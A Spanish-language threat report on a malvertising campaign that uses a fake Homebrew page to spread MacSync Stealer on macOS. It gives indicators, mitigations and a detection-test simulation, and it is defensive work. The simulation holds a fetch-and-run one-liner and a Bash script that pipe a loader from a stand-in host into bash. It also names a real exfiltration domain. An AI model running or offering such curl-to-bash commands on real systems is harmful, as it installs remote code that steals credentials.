Anuncio Falso de Homebrew Conduce a Infección por MacSync Stealer

Resumen

Los atacantes están usando anuncios de búsqueda maliciosos para dirigir a los usuarios a un sitio web falso de Homebrew que apunta a sistemas macOS con el MacSync Stealer. La página falsificada instruye a las víctimas a copiar y ejecutar un comando de shell que descarga y lanza el malware. Una vez activo, el stealer recopila credenciales y detalles del sistema, comprime los datos robados en un archivo ZIP y los envía a un servidor de comando y control. La campaña resalta el creciente uso de la malvertising para comprometer a los usuarios de macOS.

Investigación

El analista rastreó el ataque desde el anuncio malicioso hasta una página suplantada de Homebrew alojada en Google Sites. Esa página presentaba un zsh comando que, al ejecutarse, descargaba scripts adicionales desde una infraestructura controlada por atacantes y creaba un archivo ZIP temporal que contenía los datos recogidos. El tráfico de red confirmó que el archivo fue exfiltrado al dominio glowmedaesthetics.com. Los investigadores documentaron los indicadores relevantes, incluyendo URLs, dominios y rutas de archivos vinculados a la cadena de infección.

Mitigación

Los usuarios deben evitar copiar y ejecutar comandos de sitios web no confiables y verificar la legitimidad de las páginas de gestores de paquetes antes de interactuar con ellas. Extensiones del navegador enfocadas en seguridad o bloqueadores de anuncios pueden ayudar a reducir la exposición a enlaces patrocinados maliciosos. En macOS, Gatekeeper debe permanecer habilitado y la ejecución de aplicaciones debe limitarse a software firmado y de confianza. Los defensores también deben monitorear el tráfico saliente en busca de conexiones a dominios desconocidos.

Respuesta

Los equipos de seguridad deben detectar la ejecución del zsh comando sospechoso y cualquier actividad de curl que llegue a la URL maliciosa identificada. También se deben generar alertas para la creación del archivo /tmp/osalogging.zip y para el tráfico saliente hacia glowmedaesthetics.com. Si se sospecha de una infección, aísle el sistema afectado, recupere evidencia forense y restablezca cualquier credencial comprometida.

Ejecución de Simulación

Prerequisito: El Chequeo Previo de Telemetría y Línea Base debe haber pasado.

Racional: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección.

• Narrativa del Ataque y Comandos:

  1. Atracción Inicial: La víctima recibe un correo electrónico de phishing que contiene un enlace a una página de “tap” falsa de Homebrew que aloja un script de instalación malicioso.

  2. Ejecución: La víctima copia la one‑liner de la página y la pega en su terminal:

     curl -fsSL https://malicious.example.com/macsyncloader.sh | /bin/bash

     • The curl se invoca el binario (coincide con la regla).

  3. Script Descargador (macsyncloader.sh):

     • Descarga la carga de MacSync vía curl.
     • Escribe la carga en /tmp/.macsync y lo ejecuta.
     • Aparecen cuadros de diálogo que roban credenciales (simuladas vía osascript en macOS, pero aquí simplemente hacemos echo).

  4. Persistencia: El script registra un LaunchAgent para ejecutarse al iniciar sesión (fuera del alcance de la regla actual, pero relevante para una detección más amplia).

• Script de Prueba de Regresión: El siguiente script de Bash reproduce los pasos exactos, asegurando que la telemetría se alinee con la lógica de detección.

  #!/usr/bin/env bash
  set -euo pipefail
  
  # -------------------------------------------------
  # Host de script controlado por el atacante simulado
  # -------------------------------------------------
  MALICIOUS_HOST="https://malicious.example.com"
  LOADER="${MALICIOUS_HOST}/macsyncloader.sh"
  
  # -------------------------------------------------
  # Paso 1: Descargar y ejecutar el cargador malicioso
  # -------------------------------------------------
  echo "[*] Activando la regla de detección invocando curl ..."
  curl -fsSL "$LOADER" | /bin/bash
  
  # -------------------------------------------------
  # Paso 2: (Dentro del cargador) – Carga simulada
  # -------------------------------------------------
  # Normalmente, el cargador se obtendría del host remoto.
  # Para el propósito de esta prueba, integramos la carga en línea.
  cat <<'PAYLOAD' > /tmp/.macsync
  #!/usr/bin/env bash
  echo "Carga de MacSync ejecutada – exfiltrando información del host..."
  # Simular obtención de credenciales (sin data real)
  echo "Credenciales recopiladas: user@example.com / password123"
  PAYLOAD
  
  chmod +x /tmp/.macsync
  /tmp/.macsync
  
  echo "[*] Simulación completada."

• Comandos de Limpieza: Remover artefactos y terminar cualquier proceso restante.

  #!/usr/bin/env bash
  set -euo pipefail
  
  echo "[*] Limpiando artefactos de simulación ..."
  rm -f /tmp/.macsync
  # No se crearon servicios persistentes en esta prueba
  echo "[*] Limpieza finalizada."